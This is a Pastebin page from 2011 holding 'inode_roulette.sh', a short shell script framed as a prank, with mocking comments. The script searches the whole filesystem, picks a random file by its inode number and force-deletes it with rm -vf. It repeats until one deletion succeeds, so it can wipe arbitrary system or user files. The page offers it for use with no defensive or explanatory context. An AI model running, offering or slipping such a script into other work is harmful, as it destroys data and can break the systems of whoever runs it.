Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

INODE ROULETTE

By: a guest on Jul 25th, 2011  |  syntax: None  |  size: 0.58 KB  |  views: 5,030  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/bin/sh
  2. # inode_roulette.sh (VERSION 2.0)
  3.  
  4. ####### HAHAHAHAH BECAUSE FUCK YOU THAT'S WHY #######
  5. #######      Disclaimer: you're an idiot!     #######
  6.  
  7. EXIT=1
  8.  
  9. while [ $EXIT -ne  0 ]
  10. do
  11.         INODE="$(find / -type f 2>/dev/null | xargs stat -c %i 2>/dev/null | sort -uR | grep '^[0-9]\{1,9\}$' | head -n1)"
  12.         # Get inode of some random file
  13.  
  14.         FILE="$(find / -inum $INODE 2>/dev/null)"
  15.         # Locate the file
  16.  
  17.         rm -vf $FILE
  18.         # BALEETED
  19.  
  20.         EXIT="$(echo $?)"
  21.         # Get exit code because it has a tendency to hit unremovable files
  22.  
  23. done